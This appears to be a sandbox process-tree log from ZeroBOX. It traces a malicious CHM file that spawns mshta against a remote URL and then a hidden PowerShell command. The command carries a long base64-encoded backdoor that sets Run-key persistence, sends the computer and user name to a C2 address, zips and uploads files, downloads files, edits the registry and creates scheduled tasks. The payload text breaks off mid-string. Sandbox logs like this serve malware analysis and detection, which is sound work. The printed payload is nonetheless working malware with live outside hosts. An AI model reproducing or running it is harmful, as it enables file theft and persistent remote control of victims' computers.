| ZeroBOX

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "IZFDLWw" C:\Users\test22\AppData\Local\Temp\password.chm
2560
- hh.exe "C:\Windows\hh.exe" C:\Users\test22\AppData\Local\Temp\password.chm
  2672
  - mshta.exe "C:\Windows\System32\mshta.exe" http://bian0151.cafe24.com/member/1.html
    2884
    - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ep bypass -ec UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOAA1ADsAJABPAGsAUwBEAEwAbABXAGMAVgBmAG4AcQBvAG8AIAA9ACAAMQAwADIANAAgACoAIAAxADAAMgA0ADsAJABvAHUAawBjAHYAVQBGAFAAaAAgAD0AIAAkAGUAbgB2ADoAQwBPAE0AUABVAFQARQBSAE4AQQBNAEUAIAArACAAJwAtACcAIAArACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAWgBaAFMAWgBkAGIAdQBOAFIATwB1ACAAPQAgACcAaAB0AHQAcAA6AC8ALwA3ADUALgAxADEAOQAuADEAMwA2AC4AMgAwADcALwBjAG8AbgBmAGkAZwAvAGIAYQBzAGUAcwAvAGMAbwBuAGYAaQBnAC4AcABoAHAAJwAgACsAIAAnAD8AVQA9ACcAIAArACAAJABvAHUAawBjAHYAVQBGAFAAaAA7ACQAeQB5AFUAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcAGcAWQBOAEMAcQBDAFEAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB5AHkAVQApACkAIAB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAgAC0ATgBhAG0AZQAgAG0ATwBUAEMASwBkACAALQBWAGEAbAB1AGUAIAAnAGMAOgBcAHcAaQBuAGQAbwB3AHMAXABzAHkAcwB0AGUAbQAzADIAXABjAG0AZAAuAGUAeABlACAALwBjACAAUABvAHcAZQByAFMAaABlAGwAbAAuAGUAeABlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABoAGkAZABkAGUAbgAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIABwAGkAbgBnACAALQBuACAAMQAgAC0AdwAgADUANgAzADkANAAyACAAMgAuADIALgAyAC4AMgAgAHwAfAAgAG0AcwBoAHQAYQAgAGgAdAB0AHAAOgAvAC8ANwA1AC4AMQAxADkALgAxADMANgAuADIAMAA3AC8AYwBvAG4AZgBpAGcALwBiAGEAcwBlAHMALwAxAC4AaAB0AG0AbAAnACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUAOwB9AGYAdQBuAGMAdABpAG8AbgAgAFUAbABVAG0ATAAoACQAQwBzAEQAdAAsACAAJABXAFoAaABsAHYAbQBJAGQAbgApAHsAJABDAGYAcwBXAEkARQBuAE8ASQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAFcAWgBoAGwAdgBtAEkAZABuACkAOwBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQAgACQAbgBGAFoAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACQAQwBzAEQAdAApADsAJABuAEYAWgAuAE0AZQB0AGgAbwBkACAAPQAgACcAUABPAFMAVAAnADsAJABuAEYAWgAuAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgAD0AIAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAHgALQB3AHcAdwAtAGYAbwByAG0ALQB1AHIAbABlAG4AYwBvAGQAZQBkACcAOwAkAG4ARgBaAC4AQwBvAG4AdABlAG4AdABMAGUAbgBnAHQAaAAgAD0AIAAkAEMAZgBzAFcASQBFAG4ATwBJAHIALgBMAGUAbgBnAHQAaAA7ACQAeQB5AFUAVQAgAD0AIAAkAG4ARgBaAC4ARwBlAHQAUgBlAHEAdQBlAHMAdABTAHQAcgBlAGEAbQAoACkAOwAkAHkAeQBVAFUALgBXAHIAaQB0AGUAKAAkAEMAZgBzAFcASQBFAG4ATwBJAHIALAAgADAALAAgACQAQwBmAHMAVwBJAEUAbgBPAEkAcgAuAEwAZQBuAGcAdABoACkAOwAkAHkAeQBVAFUALgBGAGwAdQBzAGgAKAApADsAJAB5AHkAVQBVAC4AQwBsAG8AcwBlACgAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAAVwBlAGIAUgBlAHMAcABvAG4AcwBlAF0AIAAkAEkATgBmAHEAZwAgAD0AIAAkAG4ARgBaAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQA7ACQAUwBnAHUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKAAkAEkATgBmAHEAZwAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkAKQA7ACQAeQB5AFUAVQBMAFQAIAA9ACAAJABTAGcAdQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AHIAZQB0AHUAcgBuACAAJAB5AHkAVQBVAEwAVAA7AH0AZgB1AG4AYwB0AGkAbwBuACAAQgBhAGkAVQBIAFUAUQBiAHoAUQBKAEEAcwAoACQAQwBzAEQAdAAsACAAJABmAHIAUgBZAG0AdwBiAHcALAAgACQAeABkAEgASwBEAHYARgBNACwAIAAkAEMATgBHAG4AdwBXACkAewAkAFQAaQBtAGUAbwB1AHQAPQAxADAAMAAwADAAMAAwADAAOwAkAEMAUgBMAEYAIAA9ACAAWwBzAHQAcgBpAG4AZwBdACQAKABbAGMAaABhAHIAXQAwAHgAMABEACkAIAArACAAWwBzAHQAcgBpAG4AZwBdACQAKABbAGMAaABhAHIAXQAwAHgAMABBACkAOwAkAFQAdwBvAEgAeQBwAGgAZQBuAHMAIAA9ACAAJwAtAC0AJwA7ACQAQgBvAHUAbgBkAGEAcgB5ACAAPQAgACcAKgAqACoAKgAqACcAOwAkAHMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AE8AcABlAG4AUgBlAGEAZAAoACQAZgByAFIAWQBtAHcAYgB3ACkAOwAkAGcAQgBGAHYAUABnAGIAWgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAkAE8AawBTAEQATABsAFcAYwBWAGYAbgBxAG8AbwA7AHcAaABpAGwAZQAoACAAJABiAHkAdABlAHMAUgBlAGEAZAAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAZwBCAEYAdgBQAGcAYgBaACwAMAAsACQATwBrAFMARABMAGwAVwBjAFYAZgBuAHEAbwBvACkAKQB7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAAVwBlAGIAUgBlAHEAdQBlAHMAdABdACAAJABuAEYAWgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJABDAHMARAB0ACkAOwAkAG4ARgBaAC4ATQBlAHQAaABvAGQAIAA9ACAAJwBQAE8AUwBUACcAOwAkAG4ARgBaAC4AVABpAG0AZQBvAHUAdAAgAD0AIAAkAFQAaQBtAGUAbwB1AHQAOwAkAG4ARgBaAC4AQwBvAG4AdABlAG4AdABUAHkAcABlACAAPQAgACcAbQB1AGwAdABpAHAAYQByAHQALwBmAG8AcgBtAC0AZABhAHQAYQA7AGIAbwB1AG4AZABhAHIAeQA9ACcAIAArACAAJABCAG8AdQBuAGQAYQByAHkAOwAkAHkAeQBVAFUAIAA9ACAAJABuAEYAWgAuAEcAZQB0AFIAZQBxAHUAZQBzAHQAUwB0AHIAZQBhAG0AKAApADsAJABoAGUAYQBkAGkAbgBnADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAVAB3AG8ASAB5AHAAaABlAG4AcwAgACsAIAAkAEIAbwB1AG4AZABhAHIAeQAgACsAIAAkAEMAUgBMAEYAKQA7ACQAeQB5AFUAVQAuAFcAcgBpAHQAZQAoACQAaABlAGEAZABpAG4AZwAxACwAIAAwACwAIAAkAGgAZQBhAGQAaQBuAGcAMQAuAEwAZQBuAGcAdABoACkAOwAkAGgAZQBhAGQAaQBuAGcAMgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJwBDAG8AbgB0AGUAbgB0AC0ARABpAHMAcABvAHMAaQB0AGkAbwBuADoAIABmAG8AcgBtAC0AZABhAHQAYQA7ACAAbgBhAG0AZQA9ACcAIAArACAAWwBzAHQAcgBpAG4AZwBdACQAKABbAGMAaABhAHIAXQAwAHgAMgAyACkAIAArACAAJAB4AGQASABLAEQAdgBGAE0AIAArACAAWwBzAHQAcgBpAG4AZwBdACQAKABbAGMAaABhAHIAXQAwAHgAMgAyACkAIAArACAAJwA7AGYAaQBsAGUAbgBhAG0AZQA9ACcAIAArACAAWwBzAHQAcgBpAG4AZwBdACQAKABbAGMAaABhAHIAXQAwAHgAMgAyACkAIAArACAAJABDAE4ARwBuAHcAVwAgACsAIABbAHMAdAByAGkAbgBnAF0AJAAoAFsAYwBoAGEAcgBdADAAeAAyADIAKQAgACsAIAAkAEMAUgBMAEYAKQA7ACQAeQB5AFUAVQAuAFcAcgBpAHQAZQAoACQAaABlAGEAZABpAG4AZwAyACwAIAAwACwAIAAkAGgAZQBhAGQAaQBuAGcAMgAuAEwAZQBuAGcAdABoACkAOwAkAGgAZQBhAGQAaQBuAGcAMwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABDAFIATABGACkAOwAkAHkAeQBVAFUALgBXAHIAaQB0AGUAKAAkAGgAZQBhAGQAaQBuAGcAMwAsACAAMAAsACAAJABoAGUAYQBkAGkAbgBnADMALgBMAGUAbgBnAHQAaAApADsAJAB5AHkAVQBVAC4AVwByAGkAdABlACgAJABnAEIARgB2AFAAZwBiAFoALAAgADAALAAgACQAYgB5AHQAZQBzAFIAZQBhAGQAKQA7ACQAeQB5AFUAVQAuAFcAcgBpAHQAZQAoACQAaABlAGEAZABpAG4AZwAzACwAIAAwACwAIAAkAGgAZQBhAGQAaQBuAGcAMwAuAEwAZQBuAGcAdABoACkAOwAkAGgAZQBhAGQAaQBuAGcANAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABUAHcAbwBIAHkAcABoAGUAbgBzACAAKwAgACQAQgBvAHUAbgBkAGEAcgB5ACAAKwAgACQAVAB3AG8ASAB5AHAAaABlAG4AcwAgACsAIAAkAEMAUgBMAEYAKQA7ACQAeQB5AFUAVQAuAFcAcgBpAHQAZQAoACQAaABlAGEAZABpAG4AZwA0ACwAIAAwACwAIAAkAGgAZQBhAGQAaQBuAGcANAAuAEwAZQBuAGcAdABoACkAOwAkAHkAeQBVAFUALgBGAGwAdQBzAGgAKAApADsAJAB5AHkAVQBVAC4AQwBsAG8AcwBlACgAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAAVwBlAGIAUgBlAHMAcABvAG4AcwBlAF0AIAAkAEkATgBmAHEAZwAgAD0AIAAkAG4ARgBaAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQA7ACQAUwBnAHUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKAAkAEkATgBmAHEAZwAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkAKQA7ACQAeQB5AFUAVQBMAFQAIAA9ACAAJABTAGcAdQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AH0AJABzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwB9AGYAdQBuAGMAdABpAG8AbgAgAHcAWQBsAGIAZABoAFUARgBEAGwAcgAoACQAQwBzAEQAdAAsACAAJABmAHIAUgBZAG0AdwBiAHcAKQB7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAAVwBlAGIAUgBlAHEAdQBlAHMAdABdACAAJABSAGUAcQB1AGUAcwB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAkAEMAcwBEAHQAKQA7ACQAUgBlAHEAdQBlAHMAdAAuAHMAZQB0AF8AVABpAG0AZQBvAHUAdAAoADEANQAwADAAMAApADsAJABSAGUAcwBwAG8AbgBzAGUAIAA9ACAAJABSAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQA7ACQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACAAPQAgACQAUgBlAHMAcABvAG4AcwBlAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAUwBwAGwAaQB0AFMAaQB6AGUAIAA9ACAAMQAwADIANAA7ACQAQgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAQgB5AHQAZQBbAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABTAHAAbABpAHQAUwBpAHoAZQA7AFQAcgB5ACAAewBEAG8AIAB7ACQAQwBvAHUAbgB0ACAAPQAgACQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAQgB1AGYAZgBlAHIALAAgADAALAAgACQAUwBwAGwAaQB0AFMAaQB6AGUAKQA7ACQAbwBmAGYAcwBlAHQAIAA9ACAAJABDAG8AdQBuAHQAIAAtACAAMQA7AEEAZABkAC0AQwBvAG4AdABlAG4AdAAgACQAZgByAFIAWQBtAHcAYgB3ACAAJABCAHUAZgBmAGUAcgBbADAALgAuACQAbwBmAGYAcwBlAHQAXQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAQgB5AHQAZQA7AH0AIABVAG4AdABpAGwAKAAkAEMAbwB1AG4AdAAgAC0AZQBxACAAMAApAH0AIABDAGEAdABjAGgAIAB7AH0AIABGAGkAbgBhAGwAbAB5ACAAewAkAFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAuAEQAaQBzAHAAbwBzAGUAKAApADsAfQB9AGQAbwB7AFQAcgB5AHsAJABKAE4AZgAgAD0AIABVAGwAVQBtAEwAIAAkAFoAWgBTAFoAZABiAHUATgBSAE8AdQAgACcAJwA7AEkAZgAgACgAJABKAE4AZgAgAC0AbgBlACAAJwBuAHUAbABsACcAIAAtAGEAbgBkACAAJABKAE4AZgAgAC0AbgBlACAAJwAnACkAewAkAEoATgBmAD0AJABKAE4AZgAuAFMAdQBiAFMAdAByAGkAbgBnACgAMQAsACAAJABKAE4AZgAuAEwAZQBuAGcAdABoACAALQAgADIAKQA7ACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABKAE4AZgApACkAOwBpAGYAIAAoACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgApAHsAaQBmACAAKAAkAEUAdQB4AGYAUAByAHYAdgB6AEYAdQBWAEIALgBDAG8AbgB0AGEAaQBuAHMAKAAnAGYAaQBsAGUAaQBuAGYAbwA6ACcAKQApAHsAJABRAEIAaQBhAD0AJABFAHUAeABmAFAAcgB2AHYAegBGAHUAVgBCAC4AUwB1AGIAUwB0AHIAaQBuAGcAKAA5ACkAOwBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABRAEIAaQBhACkAewAkAGYAaQBsAGUAbgBhAG0AZQAgAD0AIAAkAHkAeQBVACAAKwAgACcALgBjAHMAdgAnADsARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAUQBCAGkAYQAgAC0ARgBpAGwAdABlAHIAIAAqAC4AKgAgAC0AUgBlAGMAdQByAHMAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAATABlAG4AZwB0AGgALAAgAEwAYQBzAHQAVwByAGkAdABlAFQAaQBtAGUALAAgAEYAdQBsAGwAbgBhAG0AZQAgAHwAIABFAHgAcABvAHIAdAAtAEMAcwB2ACAALQBQAGEAdABoACAAJABmAGkAbABlAG4AYQBtAGUAIAAtAEYAbwByAGMAZQAgAC0ATgBvAFQAeQBwAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuACAALQBFAG4AYwBvAGQAaQBuAGcAIAB1AHQAZgA4ADsAJABhAHQAdABhAGMAaABtAGUAbgB0AF8AbgBhAG0AZQAgAD0AIAAnAF8AZgBpAGwAZQAnADsAJABuAG8AdwB0AGkAbQBlACAAPQAgAEcAZQB0AC0ARABhAHQAZQAgAC0ARgBvAHIAbQBhAHQAIAB5AHkAeQB5AC0ATQBNAC0AZABkAF8ASABIAF8AbQBtAF8AcwBzADsAJABhAHQAdABhAGMAaABtAGUAbgB0AF8AZgBpAGwAZQBuAGEAbQBlACAAPQAgACQAbgBvAHcAdABpAG0AZQAgACsAIAAnAF8AZgBpAGwAZQBpAG4AZgBvACcAOwBCAGEAaQBVAEgAVQBRAGIAegBRAEoAQQBzACAAJABaAFoAUwBaAGQAYgB1AE4AUgBPAHUAIAAkAGYAaQBsAGUAbgBhAG0AZQAgACQAYQB0AHQAYQBjAGgAbQBlAG4AdABfAG4AYQBtAGUAIAAkAGEAdAB0AGEAYwBoAG0AZQBuAHQAXwBmAGkAbABlAG4AYQBtAGUAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGYAaQBsAGUAbgBhAG0AZQA7AH0AfQBpAGYAIAAoACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgAuAEMAbwBuAHQAYQBpAG4AcwAoACcAZABpAHIAOgAnACkAKQB7ACQAUQBCAGkAYQA9ACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgAuAFMAdQBiAFMAdAByAGkAbgBnACgANAApADsAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAUQBCAGkAYQApAHsAJABmAGkAbABlAG4AYQBtAGUAIAA9ACAAJAB5AHkAVQAgACsAIAAnAC4AegBpAHAAJwA7AEMAbwBtAHAAcgBlAHMAcwAtAEEAcgBjAGgAaQB2AGUAIAAkAFEAQgBpAGEAIAAkAGYAaQBsAGUAbgBhAG0AZQAgAC0ARgBvAHIAYwBlADsAJABhAHQAdABhAGMAaABtAGUAbgB0AF8AbgBhAG0AZQAgAD0AIAAnAF8AZgBpAGwAZQAnADsAJABuAG8AdwB0AGkAbQBlACAAPQAgAEcAZQB0AC0ARABhAHQAZQAgAC0ARgBvAHIAbQBhAHQAIAB5AHkAeQB5AC0ATQBNAC0AZABkAF8ASABIAF8AbQBtAF8AcwBzADsAJABhAHQAdABhAGMAaABtAGUAbgB0AF8AZgBpAGwAZQBuAGEAbQBlACAAPQAgACQAbgBvAHcAdABpAG0AZQAgACsAIAAnAF8AZABpAHIAJwA7AEIAYQBpAFUASABVAFEAYgB6AFEASgBBAHMAIAAkAFoAWgBTAFoAZABiAHUATgBSAE8AdQAgACQAZgBpAGwAZQBuAGEAbQBlACAAJABhAHQAdABhAGMAaABtAGUAbgB0AF8AbgBhAG0AZQAgACQAYQB0AHQAYQBjAGgAbQBlAG4AdABfAGYAaQBsAGUAbgBhAG0AZQA7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAZgBpAGwAZQBuAGEAbQBlADsAfQB9AGkAZgAgACgAJABFAHUAeABmAFAAcgB2AHYAegBGAHUAVgBCAC4AQwBvAG4AdABhAGkAbgBzACgAJwBmAGkAbABlADoAJwApACkAewAkAFEAQgBpAGEAPQAkAEUAdQB4AGYAUAByAHYAdgB6AEYAdQBWAEIALgBTAHUAYgBTAHQAcgBpAG4AZwAoADUAKQA7AGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAFEAQgBpAGEAKQB7ACQAYQB0AHQAYQBjAGgAbQBlAG4AdABfAG4AYQBtAGUAIAA9ACAAJwBfAGYAaQBsAGUAJwA7ACQAbgBvAHcAdABpAG0AZQAgAD0AIABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAbwByAG0AYQB0ACAAeQB5AHkAeQAtAE0ATQAtAGQAZABfAEgASABfAG0AbQBfAHMAcwA7ACQAYQB0AHQAYQBjAGgAbQBlAG4AdABfAGYAaQBsAGUAbgBhAG0AZQAgAD0AIAAkAG4AbwB3AHQAaQBtAGUAIAArACAAJwBfAGYAaQBsAGUAJwA7AEIAYQBpAFUASABVAFEAYgB6AFEASgBBAHMAIAAkAFoAWgBTAFoAZABiAHUATgBSAE8AdQAgACQAUQBCAGkAYQAgACQAYQB0AHQAYQBjAGgAbQBlAG4AdABfAG4AYQBtAGUAIAAkAGEAdAB0AGEAYwBoAG0AZQBuAHQAXwBmAGkAbABlAG4AYQBtAGUAOwB9AH0AaQBmACAAKAAkAEUAdQB4AGYAUAByAHYAdgB6AEYAdQBWAEIALgBDAG8AbgB0AGEAaQBuAHMAKAAnAGQAbwB3AG4AOgAnACkAKQB7ACQAUQBCAGkAYQA9ACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgAuAFMAdQBiAFMAdAByAGkAbgBnACgANQApADsAJABDAGgAYQByAEEAcgByAGEAeQAgAD0AJABRAEIAaQBhAC4AUwBwAGwAaQB0ACgAJwB8AHwAJwApADsAaQBmACAAKAAkAEMAaABhAHIAQQByAHIAYQB5AC4ATABlAG4AZwB0AGgAIAAtAGUAcQAgADMAKQB7AHcAWQBsAGIAZABoAFUARgBEAGwAcgAgACQAQwBoAGEAcgBBAHIAcgBhAHkAWwAwAF0AIAAkAEMAaABhAHIAQQByAHIAYQB5AFsAMgBdADsAJABYAFQAbABsACAAPQAgACcAUgA9ACcAIAArACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACcAbwBrACcAKQApADsAVQBsAFUAbQBMACAAJABaAFoAUwBaAGQAYgB1AE4AUgBPAHUAIAAkAFgAVABsAGwAOwB9AH0AaQBmACAAKAAkAEUAdQB4AGYAUAByAHYAdgB6AEYAdQBWAEIALgBDAG8AbgB0AGEAaQBuAHMAKAAnAHIAZQBnAGUAZABpAHQAOgAnACkAKQB7ACQAUQBCAGkAYQA9ACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgAuAFMAdQBiAFMAdAByAGkAbgBnACgAOAApADsAJABDAGgAYQByAEEAcgByAGEAeQAgAD0AJABRAEIAaQBhAC4AUwBwAGwAaQB0ACgAJwB8AHwAJwApADsAaQBmACAAKAAkAEMAaABhAHIAQQByAHIAYQB5AC4ATABlAG4AZwB0AGgAIAAtAGUAcQAgADUAKQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAEMAaABhAHIAQQByAHIAYQB5AFsAMABdACAALQBOAGEAbQBlACAAJABDAGgAYQByAEEAcgByAGEAeQBbADIAXQAgAC0AVgBhAGwAdQBlACAAJABDAGgAYQByAEEAcgByAGEAeQBbADQAXQAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlADsAJABYAFQAbABsACAAPQAgACcAUgA9ACcAIAArACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACcAbwBrACcAKQApADsAVQBsAFUAbQBMACAAJABaAFoAUwBaAGQAYgB1AE4AUgBPAHUAIAAkAFgAVABsAGwAOwB9AH0AaQBmACAAKAAkAEUAdQB4AGYAUAByAHYAdgB6AEYAdQBWAEIALgBDAG8AbgB0AGEAaQBuAHMAKAAnAHQAYQBzAGsAOgAnACkAKQB7ACQAUQBCAGkAYQA9ACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgAuAFMAdQBiAFMAdAByAGkAbgBnACgANQApADsAJABDAGgAYQByAEEAcgByAGEAeQAgAD0AJABRAEIAaQBhAC4AUwBwAGwAaQB0ACgAJwB8AHwAJwApADsAaQBmACAAKAAkAEMAaABhAHIAQQByAHIAYQB5AC4ATABlAG4AZwB0AGgAIAAtAGUAcQAgADUAKQB7ACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJABDAGgAYQByAEEAcgByAGEAeQBbADQAXQA7ACQAUwBlAHQAdABpAG4AZwBzACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAOwAkAHQAcgBpAGcAZwBlAHIAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAE0AaQBuAHUAdABlAHMAIAAxADAAKQA7ACQAVABhAHMAawAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAJABBAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAVAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABTAGUAdAB0AGkAbgBnAHMAOwBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAkAEMAaABhAHIAQQByAHIAYQB5AFsAMgBdACAALQBUAGEAcwBrAFAAYQB0AGgAIAAkAEMAaABhAHIAQQByAHIAYQB5AFsAMABdACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAFQAYQBzAGsAOwAkAFgAVABsAGwAIAA9ACAAJwBSAD0AJwAgACsAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJwBvAGsAJwApACkAOwBVAGwAVQBtAEwAIAAkAFoAWgBTAFoAZABiAHUATgBSAE8AdQAgACQAWABUAGwAbAA7AH0AfQBpAGYAIAAoACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgAuAEMAbwBuAHQAYQBpAG4AcwAoACcAegBpAHAAOgAnACkAKQB7ACQAUQBCAGkAYQA9ACQARQB1AHgAZgBQAHIAdgB2AHoARgB1AFYAQgAuAFMAdQBiAFMAdAByAGkAbgBnACgANAApADsA